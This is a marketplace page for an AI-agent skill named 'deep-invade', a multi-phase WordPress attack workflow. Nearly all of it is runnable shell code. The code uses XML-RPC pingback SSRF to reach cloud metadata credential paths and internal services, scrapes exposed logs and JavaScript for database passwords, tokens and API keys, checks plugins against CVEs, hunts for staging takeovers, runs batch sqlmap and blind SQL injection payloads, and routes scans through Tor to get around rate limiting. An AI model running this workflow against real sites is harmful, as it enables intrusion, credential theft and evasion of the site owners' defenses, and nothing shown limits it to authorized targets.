소스 정보
- 저장소
- uphiago/recon-skills
- 최근 소스 활동
- 2026년 7월 30일 00:23
- 감지된 SKILL.md 언어
- 영어
- 스타
- 1,158
- 포크
- 205
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/uphiago/recon-skills --skill deep-invade명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | deep-invade |
| description | Deep pentest WP: SSRF, plugin CVE, JS mine, port scan chain. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, httpx, nuclei |
| tags | ["recon","pentest","deep","SSRF","CVE","wordpress"] |
| category | recon |
| related_skills | ["wp-mass-recon","xmlrpc-exploitation","error-log-mining","js-secrets-extraction","staging-subdomain-hunt","wordpress-plugin-hunt","port-service-discovery","cors-credential-wordpress","source-leak-hunt","phpinfo-to-rce"] |
Focused follow-up methodology for WordPress targets prioritized by
wp-mass-recon. It connects XML-RPC SSRF validation, exposed-log analysis,
plugin version review, JavaScript inspection, staging discovery, service
mapping, and API enumeration.
wp-mass-recon scored a target >= 6 (CORS confirmed, XMLRPC open, source leaks found).curl, python3, and the tools required by each selected phase.nmap available when port scanning is in scope.Execute probes in order. Each phase builds on the previous:
| Phase | Technique | Tool | Typical time |
|---|---|---|---|
| 1 | XML-RPC SSRF validation with an authorized callback | curl + callback service | 2 min |
| 2 | Exposed error-log analysis | Python regex | 1 min |
| 3 | Plugin namespace and version review | curl + regex | 3 min |
| 4 | JavaScript bundle analysis | js-secrets-extraction | 2 min |
| 5 | Subdomain and staging comparison | crt.sh, httpx, curl | 5 min |
| 6 |
| Scoped port and service discovery |
| nmap |
| scope dependent |
| 7 | API description and route discovery | curl + regex | 2 min |
TARGET="$1"
COLLAB="$2" # Your Burp Collaborator / interactsh URL
echo "[*] Phase 1: SSRF Probe"
# Test 1: Confirm pingback SSRF to your callback
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>$COLLAB</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param></params></methodCall>" | grep faultCode
echo "[*] Check Collaborator for callback — if received, SSRF confirmed"
# Test 2: AWS IMDSv1 (15 paths)
for path in "" "iam/security-credentials/" "iam/security-credentials/admin" \
"iam/security-credentials/ec2-admin" "iam/security-credentials/s3-full-access" \
"user-data/" "placement/availability-zone" "public-keys/0/openssh-key" \
"network/interfaces/macs/" "security-groups" "ami-id" "hostname" \
"instance-id" "mac" "profile"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>http://192.0.2.1/latest/meta-data/$path</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param></params></methodCall>" 2>/dev/null | grep -o 'faultCode>[0-9]*')
code=$(echo "$result" | grep -o '[0-9]\+')
[[ "$code" == "0" ]] && echo "[SSRF] IMDS reachable: /$path" || echo "[--] IMDS blocked: /$path (faultCode=$code)"
sleep 0.5
done
# Test 3: Internal network probes
for ip in "127.0.0.1:80" "127.0.0.1:3306" "127.0.0.1:8080" "127.0.0.1:3000" \
"10.0.0.1:80" "172.16.0.1:80" "192.168.0.1:80" "localhost:22"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" -H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>http://$ip/</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param></params></methodCall>" 2>/dev/null | grep -o 'faultCode>[0-9]*')
code=$(echo "$result" | grep -o '[0-9]\+')
[[ "$code" == "0" ]] && echo "[SSRF] Internal reachable: $ip" || true
sleep 0.5
done
TARGET="$1"
echo "[*] Phase 2: Error Log Mining"
# Fetch error_log (can be multi-MB)
curl -sk --max-time 30 --connect-timeout 10 "https://$TARGET/error_log" -o /tmp/error_log_$TARGET.txt 2>/dev/null
curl -sk --max-time 30 --connect-timeout 10 "https://$TARGET/wp-content/debug.log" >> /tmp/error_log_$TARGET.txt 2>/dev/null
size=$(wc -c < /tmp/error_log_$TARGET.txt 2>/dev/null)
if [[ "$size" -gt 100 ]]; then
echo "[+] Error log found: ${size} bytes"
# Extract server paths
echo "[*] Server paths:"
grep -Eo '/[a-zA-Z0-9/_.-]+\.php' /tmp/error_log_$TARGET.txt 2>/dev/null | sort -u | head -20
# Extract email addresses
echo "[*] Email addresses:"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /tmp/error_log_$TARGET.txt 2>/dev/null | sort -u | head -10
# Extract DB credentials
echo "[*] DB credentials:"
grep -iE 'mysql_connect|mysqli_connect|new PDO|DB_HOST|DB_USER|DB_PASSWORD|database.*password' /tmp/error_log_$TARGET.txt 2>/dev/null | head -5
# Extract SQL queries
echo "[*] SQL queries:"
grep -iE 'SELECT|INSERT|UPDATE|DELETE|FROM|WHERE|JOIN' /tmp/error_log_$TARGET.txt 2>/dev/null | head -10
# Extract API keys
echo "[*] API keys:"
grep -iE 'api_key|api_secret|access_token|auth_token|bearer' /tmp/error_log_$TARGET.txt 2>/dev/null | head -5
# PHP error summary
echo "[*] Error summary:"
echo " Fatal: $(grep -ci 'Fatal error' /tmp/error_log_$TARGET.txt)"
echo " Warning: $(grep -ci 'Warning' /tmp/error_log_$TARGET.txt)"
echo " Notice: $(grep -ci 'Notice' /tmp/error_log_$TARGET.txt)"
echo " Deprecated: $(grep -ci 'Deprecated' /tmp/error_log_$TARGET.txt)"
# Date range
echo "[*] Date range:"
head -1 /tmp/error_log_$TARGET.txt | grep -Eo '\[\d{2}-[A-Za-z]{3}-\d{4}' 2>/dev/null
tail -1 /tmp/error_log_$TARGET.txt | grep -Eo '\[\d{2}-[A-Za-z]{3}-\d{4}' 2>/dev/null
else
echo "[-] No error log found"
fi
TARGET="$1"
echo "[*] Phase 3: Plugin CVE Matrix"
# Probe 30+ plugin REST namespaces
declare -A PLUGINS
PLUGINS[revslider]="/wp-json/revslider/v1/slides|CVE-2024-2534 (RCE)|Slider Revolution"
PLUGINS[elementskit]="/wp-json/elementskit/v1/|CVE-2023-6851/6853 (RCE)|ElementsKit"
PLUGINS[elementor]="/wp-json/elementor/v1/globals|CVE-2024-xxxx (info disclosure)|Elementor"
PLUGINS[gravityforms]="/wp-json/gf/v2/forms|CVE-2024-6115 (auth bypass)|Gravity Forms"
PLUGINS[jetpack]="/wp-json/jetpack/v4/|CVE-2024-1782 (info disclosure)|Jetpack"
PLUGINS[litespeed]="/wp-json/litespeed/v1/|CVE-2024-50550 (privilege escalation)|LiteSpeed Cache"
PLUGINS[woocommerce]="/wp-json/wc/v3/products|API info disclosure|WooCommerce"
PLUGINS[yoast]="/wp-json/yoast/v1/|SEO data disclosure|Yoast SEO"
PLUGINS[acf]="/wp-json/acf/v3/|CVE-2023-xxxx (info disclosure)|Advanced Custom Fields"
PLUGINS[contactform7]="/wp-json/contact-form-7/v1/|Configuration leak|Contact Form 7"
PLUGINS[solidwp]="/wp-json/solidwp-mail/v1/|Mail log disclosure|SolidWP Mail"
PLUGINS[wpsl]="/wp-json/wpsl/v1/|Store locator data|WP Store Locator"
PLUGINS[redirection]="/wp-json/redirection/v1/|Redirect log exposure|Redirection"
PLUGINS[wpml]="/wp-json/wpml/v1/|Translation data|WPML"
PLUGINS[rankmath]="/wp-json/rankmath/v1/|SEO data|Rank Math"
for plugin in "${!PLUGINS[@]}"; do
IFS='|' read -r path cve name <<< "${PLUGINS[$plugin]}"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path" 2>/dev/null)
if [[ "$code" == "200" || "$code" == "401" || "$code" == "403" ]]; then
echo "[PLUGIN] $name ($plugin) — HTTP $code — $cve"
# If 200, try to get version from readme.txt
if [[ "$code" == "200" ]]; then
ver=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/wp-content/plugins/$plugin/readme.txt" 2>/dev/null | grep -i "stable tag" | head -1)
[[ -n "$ver" ]] && echo " Version: $ver"
fi
fi
sleep 0.5
done
# Also probe readme.txt for elementor, revslider (common alternate paths)
for slug in "elementor" "revslider" "js_composer" "wp-rocket" \
"wordfence" "woocommerce" "jetpack" "litespeed-cache"; do
ver=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/wp-content/plugins/$slug/readme.txt" 2>/dev/null | grep -i "stable tag" | head -1)
[[ -n "$ver" ]] && echo "[VERSION] $slug: $ver"
sleep 0.3
done
See skill_view(name='js-secrets-extraction') for full procedure. Quick scan:
TARGET="$1"
# Fetch homepage and common JS bundles
curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" -o /tmp/page_$TARGET.html 2>/dev/null
JS_URLS=$(grep -Eo 'src="[^"]+\.js[^"]*"' /tmp/page_$TARGET.html 2>/dev/null | sed 's/src="//;s/"//' | head -10)
for js_url in $JS_URLS; do
# Make relative URLs absolute
[[ "$js_url" =~ ^// ]] && js_url="https:$js_url"
[[ "$js_url" =~ ^/ ]] && js_url="https://$TARGET$js_url"
content=$(curl -sk --max-time 10 --connect-timeout 10 "$js_url" 2>/dev/null)
# 11 regex patterns
echo "$content" | grep -Eo '(?:api_key|apiKey|API_KEY)["\s:=]+["'\''][A-Za-z0-9_-]{20,}'
echo "$content" | grep -Eo 'https?://[a-zA-Z0-9.-]+\.(?:amazonaws|cloudfront)\.(?:com|net)[^"'\''\s]*'
echo "$content" | grep -Eo 'eyJ[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}'
echo "$content" | grep -Eo 'AKIA[0-9A-Z]{16}'
echo "$content" | grep -Eo '[a-z0-9-]+\.firebaseio\.com'
echo "$content" | grep -Eo '[a-z0-9-]+\.supabase\.co'
echo "$content" | grep -Eo 'sk_live_[0-9a-zA-Z]{24,}'
echo "$content" | grep -Eo 'ghp_[0-9a-zA-Z]{36}'
echo "$content" | grep -Eo 'xox[bprs]-[0-9a-zA-Z-]+'
echo "$content" | grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}'
echo "$content" | grep -Eo 'AIza[0-9A-Za-z_-]{35}'
sleep 0.3
done | sort -u
See skill_view(name='staging-subdomain-hunt') for full procedure. Quick scan:
TARGET="$1"
DOMAIN=$(echo "$TARGET" | sed 's|https\?://||')
echo "[*] Phase 5: Subdomain/Staging Discovery"
# crt.sh certificate transparency
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$DOMAIN&output=json" 2>/dev/null | \
jq -r '.[].name_value' 2>/dev/null | sed 's/\*\.//g' | sort -u > /tmp/subs_$DOMAIN.txt
sub_count=$(wc -l < /tmp/subs_$DOMAIN.txt)
echo "[+] crt.sh: $sub_count subdomains"
# Filter for interesting ones
echo "[*] Interesting subdomains:"
grep -iE 'staging|stage|dev|test|uat|beta|old|new|admin|portal|api|app|dashboard' /tmp/subs_$DOMAIN.txt | head -20
# Probe them for WordPress install pages (staging takeover vector)
echo "[*] Staging takeover check:"
for sub in $(grep -iE 'staging|stage|dev' /tmp/subs_$DOMAIN.txt | head -5); do
for path in "/wp-admin/install.php" "/wp-admin/upgrade.php" "/wp-admin/setup-config.php"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$sub$path" 2>/dev/null)
[[ "$code" == "200" ]] && echo "[TAKEOVER] https://$sub$path — HTTP $code"
done
sleep 0.5
done
TARGET="$1"
DOMAIN=$(echo "$TARGET" | sed 's|https\?://||')
echo "[*] Phase 6: Port Scan"
nmap -F --open -T4 "$DOMAIN" -oN /tmp/nmap_$DOMAIN.txt 2>/dev/null
echo "[*] Open ports:"
grep 'open' /tmp/nmap_$DOMAIN.txt
# Flag critical exposures
grep -q '3306.*open' /tmp/nmap_$DOMAIN.txt && echo "[CRITICAL] MySQL 3306 open to internet!"
grep -q '27017.*open' /tmp/nmap_$DOMAIN.txt && echo "[CRITICAL] MongoDB 27017 open to internet!"
grep -q '6379.*open' /tmp/nmap_$DOMAIN.txt && echo "[HIGH] Redis 6379 open to internet!"
grep -q '8080.*open\|8081.*open\|8082.*open\|8084.*open' /tmp/nmap_$DOMAIN.txt && echo "[HIGH] Internal API port(s) exposed!"
grep -q '22.*open' /tmp/nmap_$DOMAIN.txt && echo "[INFO] SSH 22 open"
grep -q '21.*open' /tmp/nmap_$DOMAIN.txt && echo "[INFO] FTP 21 open"
TARGET="$1"
echo "[*] Phase 7: API Discovery"
# Swagger / OpenAPI
for path in "swagger.json" "swagger.yaml" "openapi.json" "api-docs" "api/docs" \
"swagger-ui.html" "swagger/index.html" "api/v1/swagger.json" "v2/api-docs" "v3/api-docs"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path")
[[ "$code" == "200" ]] && echo "[API] Swagger: /$path"
sleep 0.3
done
# GraphQL
for path in "graphql" "api/graphql" "gql" "query" "wp/graphql"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" \
-X POST -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}')
[[ "$code" == "200" ]] && echo "[API] GraphQL: /$path"
sleep 0.3
done
# WooCommerce API
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/wc/v3/" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if 'namespace' in data:
print('[API] WooCommerce REST API active')
except: pass" 2>/dev/null
# Gravity Forms API
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/gf/v2/forms" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if isinstance(data, list) and len(data) > 0:
print(f'[API] Gravity Forms: {len(data)} forms')
except: pass" 2>/dev/null
curl -r 0-100000 to fetch only the first 100KB for sampling./wp-json/ paths. Check response body for actual plugin data.-sT (TCP connect) if running as non-root inside the container.nmap -sV).Automated CVE and misconfiguration detection across all discovered hosts:
# Scan all alive subdomains for known CVEs
nuclei -l alive_subs.txt \
-t nuclei-templates/http/ \
-severity critical,high,medium \
-H "X-Forwarded-For: 127.0.0.1" \
-mhe 4 -rl 30 -es info \
-o nuclei_results.txt
# Target exposure templates specifically
nuclei -l alive_subs.txt \
-t nuclei-templates/http/exposures/ \
-o nuclei_exposures.txt
# Network-level scans on discovered IPs
nuclei -l unique_ips.txt \
-t nuclei-templates/network/ \
-H "X-Forwarded-For: 127.0.0.1" \
-mhe 4 -rl 30 -es info
# Scan specific vulnerability classes
for template in cves exposures misconfiguration technologies takeovers; do
nuclei -l alive_subs.txt \
-t nuclei-templates/http/$template/ \
-severity critical,high \
-o nuclei_${template}.txt
done
Route all scanning through Tor to defeat IP-based rate limiting on aggressive targets:
# Start Tor service
sudo systemctl start tor
# Test Tor connectivity
curl --max-time 30 --connect-timeout 10 --socks5 127.0.0.1:9050 https://check.torproject.org/
# nuclei through Tor — rotates IP every request
nuclei -u https://target.com \
-p socks5://127.0.0.1:9050 \
-t nuclei-templates/http/
# httpx through Tor
cat alive_subs.txt | httpx -silent -proxy socks5://127.0.0.1:9050
# curl through Tor
curl --max-time 30 --connect-timeout 10 --socks5-hostname 127.0.0.1:9050 https://target.com
# Use proxychains for any command
proxychains4 nmap -sT -Pn target.com
proxychains4 ffuf -u https://target.com/FUZZ -w $WEB_WORDLIST
Automated SQLi detection on parameterized URLs discovered during enumeration:
# Extract parameterized URLs for SQLi testing
cat all_urls.txt | grep "=" | sort -u > parameterized_urls.txt
# sqlmap on individual endpoints
sqlmap -u "https://target.com/page.php?id=1" --dbs --banner --batch --random-agent
# From saved Burp request file
sqlmap -r request.txt --dbs --banner --batch
# Batch scanning: test all parameterized URLs
cat parameterized_urls.txt | while read url; do
sqlmap -u "$url" --batch --random-agent --level 1 --risk 1 \
--smart --answers="follow=N,skip=Y" 2>/dev/null \
| grep -q "is vulnerable" && echo "VULNERABLE: $url"
done
# nuclei SQLi templates
nuclei -l parameterized_urls.txt \
-t nuclei-templates/http/vulnerabilities/sql-injection/ \
-severity critical,high \
-o nuclei_sqli.txt
# Time-based blind SQLi detection (non-intrusive)
cat parameterized_urls.txt | while read url; do
curl -sk --max-time 5 --connect-timeout 5 "$url' AND SLEEP(5)--" \
-w "%{time_total}s — $url" -o /dev/null
echo
done | awk '$1 > 4.5 {print "SLOW: " $0}'